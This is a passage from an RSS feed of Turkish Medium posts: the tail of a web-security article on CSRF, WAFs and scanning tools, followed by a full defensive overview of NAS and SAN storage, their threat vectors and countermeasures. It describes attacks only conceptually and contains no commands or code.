erişim</strong> yerine, header’lar ile doğrulama yapılır.</p><ul><li><strong>CSRF saldırılarında</strong>, çerezlere saldırmak yerine <strong>header üzerinden doğrulama</strong> yapılır, bu da güvenliği artırır.</li></ul><p>9. WAF (Web Application Firewall) Kullanımı<br> <strong>WAF</strong>, web uygulamanızın önünde bir <strong>savunma katmanı</strong> sağlar. WAF, zararlı istekleri, <strong>XSS</strong> veya <strong>SQL Injection</strong> gibi saldırıların imzalarını tanır ve engeller.</p><ul><li><strong>XSS ve SQL Injection</strong> gibi saldırıları, WAF kurallarına göre engeller.</li></ul><p>10. Security Reviews ve Otomatik Tarama</p><p>Geliştirdiğiniz web uygulaması üzerinde <strong>güvenlik incelemeleri</strong> ve <strong>otomatik taramalar</strong> yaparak, <strong>zayıf noktalar</strong> tespit edilir. Bu taramalar <strong>OWASP ZAP</strong>, <strong>Burp Suite</strong> gibi araçlarla yapılabilir.</p><ul><li><strong>XSS</strong>, <strong>SQL Injection</strong> ve diğer güvenlik açıklarını <strong>erken aşamada</strong> tespit ederek, zafiyetlerin kapatılmasını sağlar.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fe6ce850d5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NAS ve SAN : Depolama Çözümlerindeki Güvenlik Tehditleri vePotansiyel Saldırı Vektörleri]]></title>
            <link>https://medium.com/@miiela/nas-ve-san-depolama-%C3%A7%C3%B6z%C3%BCmlerindeki-g%C3%BCvenlik-tehditleri-vepotansiyel-sald%C4%B1r%C4%B1-vekt%C3%B6rleri-89cb3f5b810e?source=rss-96d33d793728------2</link>
            <guid isPermaLink="false">https://medium.com/p/89cb3f5b810e</guid>
            <dc:creator><![CDATA[miela]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 14:41:00 GMT</pubDate>
            <atom:updated>2025-07-22T14:53:14.441Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>NAS ve SAN : </strong>Depolama Çözümlerindeki Güvenlik Tehditleri ve Potansiyel Saldırı Vektörleri</h3><p>Veri depolama, günümüzün dijital dünyasında büyük öneme sahiptir. Network Attached Storage (NAS) ve Storage Area Network (SAN), farklı amaçlar için tasarlanmış, ancak veri depolama ve yönetiminde önemli rol oynayan iki teknolojidir.Bu yazıda, NAS ve SAN arasındaki farkları, hangi durumlarda tercih edilmesi gerektiğini inceleyecek ve her iki depolama çözümünün karşılaşabileceği güvenlik riskleri ile potansiyel saldırı vektörlerini ele alacağız. Ayrıca, bu sistemlerin güvenliğini sağlamak için ne gibi önlemler alınabileceğine de değineceğiz.</p><h4>NAS (Network Attached Storage)</h4><p>NAS, ağ üzerinden bağlanan veri depolama cihazıdır. Genellikle küçük ve orta ölçekli işletmelerde tercih edilen NAS, ağ üzerinde birden fazla cihazın erişebileceği merkezi bir depolama alanı sağlar. NAS cihazları, genellikle SMB (Server Message Block, özellikle windows tabanlı ağlarda) veya NFS (Network File System, özellikel linux ve unix tabanlı ağlarda) gibi yaygın ağ protokollerini kullanarak ağdaki cihazlarla iletişim kurar. Bu protokoller sayesinde, farklı işletim sistemlerine sahip cihazlar bile NAS cihazına bağlanarak verileri paylaşabilir.NAS cihazları üzerinde kullanıcı ve grup tabanlı erişim kontrolleri yapılır. Yani, her kullanıcı veya cihaz, hangi dosyalara erişebileceğini belirleyen izinler aracılığıyla sınırlanır. Bir kullanıcı bir dosyayı NAS cihazına kaydeder, diğer kullanıcılar aynı ağ üzerinden bu dosyaya erişebilir ve üzerinde işlemler yapabilir. Veriler merkezi olarak saklanır, bu da verilerin kolayca yedeklenmesini ve yönetilmesini sağlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5A-3osKxaMCy14BI7w68wA.jpeg" /><figcaption>NAS vs SAN</figcaption></figure><h4>SAN (Storage Area Network)</h4><p>SAN, daha gelişmiş bir veri depolama çözümüdür ve genellikle büyük ölçekli işletmelerin ve veri merkezlerinin ihtiyaçlarını karşılamak için kullanılır. SAN, blok seviyesi depolama sunar. Blok seviyesinde depolama, veriyi dosya sistemi yerine küçük veri parçalarına (bloklara) ayırarak yönetir; her blok bağımsız olarak işlenebilir ve erişilebilir. Bu, SAN’ın daha hızlı ve daha verimli olmasını sağlar. SAN sistemleri, genellikle Fibre Channel veya iSCSI protokollerini kullanarak yüksek hızda veri iletimi yapar.iSCSI, veri depolama cihazlarını bir ağ üzerinden bağlamak için kullanılan bir protokoldür ve IP protokolünü kullanır. Bu teknoloji, depolamanın uzak bağlantılarla erişilmesini sağlar ve Fibre Channel tabanlı sistemlere kıyasla daha uygun maliyetli ve esnektir. iSCSI, SAN’ları mevcut Ethernet altyapısı üzerinden kurmak isteyen organizasyonlar için popüler bir tercihtir.Fibre Channel (FC), yüksek performanslı ve düşük gecikmeli veri iletimi sağlar, ancak daha pahalıdır.Görselde de görülebileceği gibi SAN, sunuculara, depolama alanlarını doğrudan bağlı bir cihaz gibi gösterir, bu yüksek hızda veri erişiminin sebeplerinden biridir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MGmRLEKuSn_27hd0PHBcng.jpeg" /></figure><h3>NAS ve SAN: Güvenlik Riskleri ve Potansiyel Saldırı Vektörleri</h3><p>Veri depolama çözümleri, dijital verilerin önemli olduğu günümüzde yüksek güvenlik önlemleri gerektirir. Özellikle iş dünyasında, veri güvenliği ihlalleri büyük finansal kayıplara, itibar zedelenmesine ve yasal sorunlara sebebiyet verir.Her iki teknoloji de ağ üzerinde erişilebilir olduğu için çeşitli güvenlik tehditlerine maruz kalmaktadır.</p><h4><strong>NAS’a Yönelik Saldırılar ve Güvenlik Önlemleri</strong></h4><p>NAS cihazları, dosya seviyesinde depolama sağladığı için genellikle daha fazla kullanıcı erişimine açıktır ve bu durum güvenlik açıklarına yol açar. Nasıl yapılandırıldığına bağlı olarak, NAS cihazları genellikle belirli dosya protokollerini (SMB, NFS) kullanarak veri paylaşımı yapar. Bu, kolay erişim sağlasa da potansiyel olarak kötü niyetli kullanıcıların veya siber saldırganların hedef alabileceği noktalar oluşturur.<br><strong>Brute Force (Kaba Kuvvet) Saldırıları:</strong>NAS cihazları, genellikle şifreleme veya kimlik doğrulama gereksinimleriyle korunur. Zayıf şifreler veya varsayılan şifrelerin kullanılması, brute force saldırılarının etkili olmasına yol açar. Saldırganlar, cihazın şifresini kırmak için olası tüm kombinasyonları deneyebilir. Bu tür saldırılar, özellikle yöneticilerin güçlü ve karmaşık şifreler kullanmadığı durumlarda oldukça tehlikelidir.<br>Brute force saldırıları genellikle belirli protokoller üzerinden çalışır. Örneğin, SMB veya NFS protokollerine yönelik bir brute force saldırısı gerçekleştirilirse, her bağlantı talebiyle birlikte cihazda denenen şifre kombinasyonları artar. Şifreler zayıf olduğunda, saldırganlar hızlıca doğru şifreyi bulabilirler. **Bu tür saldırılara karşı rate-limiting (deneme sayısının sınırlanması) ve geçici kilitlenmeler gibi koruma önlemleri önerilir.</p><p><strong>Man-in-the-Middle (MitM) Saldırıları:</strong>NAS cihazları ağ üzerinden bağlandığı için, eğer güvenli olmayan bir ağ kullanılıyorsa MitM saldırıları riski artar. Saldırgan, ağda veri paketlerini izleyebilir, değiştirebilir veya çalabilir.Saldırgan, veri aktarımı sırasında NAS cihazı ile kullanıcı arasındaki iletişimi ele geçirebilir ve hassas verilere ulaşabilir.<br>NAS cihazları, özellikle Wi-Fi veya güvenliği düşük ağlar üzerinde çalışıyorsa, bu tür saldırılar daha kolay hale gelir. Saldırgan, ARP spoofing veya DNS hijacking gibi tekniklerle ağda kendini hedef cihaz gibi gösterir ve iletişimi izler.** Bu tür saldırıları engellemek için ağda VPN kullanmak ve SMB3 gibi güvenli şifreleme protokollerini tercih etmek gereklidir.</p><p><strong>Ransomware (Fidye Yazılımı) Saldırıları:</strong>NAS cihazları, merkezi veri depolama ve yedekleme noktası olarak kullanıldığında, ransomware saldırılarının hedefi olabilir. Saldırganlar, NAS üzerindeki dosyaları şifreleyerek, veri erişimini engelleyebilir ve fidye talep edebilir. Özellikle yedekleme dosyaları, ransomware saldırılarının hedefinde olabilir. Bu tür saldırılar, yedeklemelerin yeterli güvenlik önlemleriyle korunmaması durumunda ciddi veri kayıplarına yol açar.<br>Ransomware saldırıları, genellikle kullanıcıların kötü amaçlı e-posta ekleri veya güvenlik açıklarından faydalanarak NAS cihazlarına sızar.**Bu tür saldırıları önlemek için geri dönüşüm noktaları, veri şifreleme ve düzenli yedeklemeler kullanılması önemlidir.</p><p><strong>Denial of Service (DoS) Saldırıları:</strong>DoS saldırıları, NAS cihazlarının işlevselliğini engellemek için tasarlanmış saldırılardır. Bu saldırılarla, NAS cihazına aşırı miktarda veri veya istek gönderilir, böylece cihaz aşırı yüklenir ve erişilemez hale gelir. Bu tür saldırılar, özellikle ağ üzerinden erişilen cihazlarda ağ bant genişliğini tüketeceği için, diğer kullanıcıların cihazı kullanmasını engeller.<br>DoS saldırıları SYN flood veya UDP flood gibi tekniklerle NAS cihazına aşırı trafik gönderir. Bu da cihazın bant genişliğini tüketir ve normal veri erişimi engellenir.** NAS cihazlarında firewall ve intrusion detection systems (IDS) kullanmak, bu tür saldırıların etkilerini sınırlayabilir.</p><p><strong>NAS İçin Güvenlik Önlemleri:<br>Şifreleme</strong>:Verilerin AES-256 gibi güçlü şifreleme algoritmaları ile şifrelenmesi, saldırganların verileri okumasını engeller. Bu özellikle yedekleme verileri için önemlidir, çünkü şifreli veriler çalınsa bile içeriği okunamaz haldedir.</p><p><strong>Güçlü Şifreler ve Çok Faktörlü Kimlik Doğrulama (2FA instead of MFA):</strong>Güçlü, rastgele şifreler ve çok faktörlü kimlik doğrulama (MFA) kullanmak, brute force saldırılarına karşı koruma sağlar.</p><p><strong>VPN ve Güvenli Erişim Protokolleri:</strong>VPN (Virtual Private Network) tünelleri üzerinden erişim sağlamak, özellikle internet üzerinden erişilen NAS cihazları için MitM saldırıları riskini azaltır. Ayrıca SMB3 ve NFSv4 gibi güvenli protokoller kullanmak da erişimi güvenli hale getirir.</p><p><strong>Güncellemeler ve Yama:</strong>NAS cihazlarının yazılımlarının düzenli olarak güncellenmesi, bilinen güvenlik açıklarını kapatır ve cihazın korunaklı kalmasını sağlar.</p><h4>SAN’a Yönelik Saldırılar ve Güvenlik Önlemleri</h4><p>SAN (Storage Area Network), yüksek performanslı ve hızlı veri erişimi sağladığı için, genellikle büyük veri merkezlerinde ve kurumlar için kritik olan uygulamalarda tercih edilir. SAN, blok seviyesinde depolama sağladığı için doğrudan sunucularla entegre çalışır. Bu, SAN’ı hız ve veri yoğunluğu açısından oldukça güçlü yapar, ancak güvenlik açıklarını da beraberinde getirir. SAN, genellikle büyük miktarda kritik veriyi barındırdığı için saldırılar daha büyük ve yıkıcı<em> </em>olabilir.<br><strong>Fibre Channel veya iSCSI Saldırıları:</strong>Fibre Channel ve iSCSI gibi protokoller, SAN ağında veri iletimi için yaygın olarak kullanılır.Fibre Channel ve iSCSI, genellikle güvenli ağlar üzerinden çalışır, ancak zayıf şifreleme ve kimlik doğrulama, saldırganların veri trafiğini izleyip şifreli olmayan bağlantılar üzerinden erişim sağlamasına olanak verir. **Bu tür saldırılar için şifreleme ve gelişmiş kimlik doğrulama mekanizmaları kullanmak gereklidir.</p><p><strong>İçeriden Yapılan Saldırılar:</strong>İçeriden yapılan saldırılar, genellikle büyük kurumlarda daha tehlikelidir. Kötü niyetli çalışanlar veya güvenlik önlemleri zayıf olan yönetciler yüzünden gerçekleşen bu saldırıda kişi genellikle root erişimi veya admin hakları kullanarak kritik verilere erişim sağlar. Bu, veri manipülasyonuna veya veri hırsızlığına yol açabilir.** Bu tür saldırıları engellemek için minimum erişim ilkesini (least privilege principle) uygulamak ve daha sıkı erişim denetimleri yapmak önemlidir.</p><p><strong>Denial of Service (DoS) ve Distributed Denial of Service (DDoS) Saldırıları: </strong>SAN cihazları yüksek veri trafiğine dayanıklı olsa da,aynı NAS cihazlarındaki gibi DDoS saldırıları ile aşırı yüklenebilir.Trafik SYN flood veya UDP flood gibi tekniklerle tıkandığında, cihazlar yanıt veremez hale gelir.Bu, veri erişiminin kesilmesine yol açar. SAN cihazlarının hızla yanıt verememesi, yüksek erişilebilirlik gereksinimlerini ihlal edebilir.**Ağ segmentasyonu ve gelişmiş saldırı tespit sistemleri (IDS) bu tür saldırılara karşı koruma sağlar.</p><p><strong>SAN İçin Güvenlik Önlemleri:<br>Ağ Ayrımı ve Segmentasyon:</strong>SAN ağının diğer ağlardan ayrılması ve segmentasyon yapılması, potansiyel saldırılara karşı koruma sağlar. Bu, yalnızca yetkilendirilmiş cihazların ve kullanıcıların SAN’a erişmesine izin verir.</p><p><strong>Gelişmiş Erişim Kontrolleri:</strong>Sıkı erişim denetimleri, sadece yetkilendirilmiş kullanıcıların ve cihazların SAN’a erişimini sağlar. Bu, kötü niyetli kullanıcıların sistemleri manipüle etmesini engeller.</p><p><strong>Anomali Tespiti:</strong>SAN sistemlerindeki veri akışlarının izlenmesi ve anomalilerin tespiti, saldırıların erken safhada tespit edilmesine yardımcı olabilir. Bu tür izleme, şüpheli aktiviteleri engellemeye yönelik erken uyarılar sağlar.</p><p><strong>Veri Şifreleme:</strong>Veri şifreleme hem verinin transferi sırasında hem de depolama sırasında kullanılarak, verilerin dışarı sızmasını veya çalınmasını engeller. Özellikle yüksek kapasiteli ve hassas verilerin şifrelenmesi kritik önem taşır.</p><h3>Sonuç: NAS ve SAN Güvenliğinde Etkili Yönetim ve Koruma Stratejileri</h3><p><strong>NAS</strong> ve <strong>SAN</strong> gibi veri depolama çözümleri, dijital verilerin korunması ve yönetilmesi açısından büyük önem taşır. Ancak, her iki teknoloji de ağ üzerinden erişilebilir olduğu için çeşitli güvenlik tehditlerine karşı savunmasızdır. <strong>NAS</strong>, genellikle küçük ve orta ölçekli işletmelerde, merkezi depolama ve dosya paylaşımı amacıyla kullanılırken, <strong>SAN</strong> daha büyük veri merkezlerinde ve yüksek performans gerektiren ortamlarda tercih edilir. Her iki çözüm de çeşitli güvenlik risklerine maruz kalabilir ve saldırganlar, <strong>brute force</strong>, <strong>MitM</strong>, <strong>ransomware</strong> gibi tehditlerle verileri hedef alabilir.</p><p>NAS ve SAN sistemlerinin güvenliğini sağlamak için, güçlü şifreleme, çok faktörlü kimlik doğrulama (MFA), ağ segmentasyonu ve düzenli güncellemeler gibi temel güvenlik önlemleri oldukça önemlidir. Ayrıca, her iki sistemde de erişim kontrolleri, anomali tespiti ve sürekli izleme ile güvenlik açıkları minimize edilebilir.</p><p>Veri depolama altyapılarını korumak, sadece güvenliği artırmakla kalmaz, aynı zamanda operasyonel verimliliği de iyileştirir. Bu nedenle, NAS ve SAN çözümlerinin kullanımında güvenlik yönetimi ön planda tutulmalı, olası saldırılar ve riskler karşısında sağlam bir savunma stratejisi oluşturulmalıdır. Bu sayede işletmeler, veri güvenliği ihlallerine karşı daha dayanıklı hale gelebilir ve veri kaybı risklerini minimize edebilir.</p><p>Her iki depolama çözümü de doğru güvenlik stratejileri ile güçlendirildiğinde, işletmeler için verimli bir veri yönetimi sağlayacaktır.</p><p><strong>Daha Fazlası İçin:</strong></p><p><a href="https://ieeexplore.ieee.org/document/10935222">https://ieeexplore.ieee.org/document/10935222</a></p><p><a href="https://ieeexplore.ieee.org/abstract/document/10599641">https://ieeexplore.ieee.org/abstract/document/10599641</a></p><p><a href="https://www.academia.edu/download/64389341/IRJET-V7I41236.pdf">IRJET- NAS (Network Attached Storage</a></p><p><a href="https://www.sciencedirect.com/science/article/pii/S1353485804000650">https://www.sciencedirect.com/science/article/pii/S1353485804000650</a></p><p><a href="https://iopscience.iop.org/article/10.1088/1742-6596/119/4/042015/meta">https://iopscience.iop.org/article/10.1088/1742-6596/119/4/042015/meta</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89cb3f5b810e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>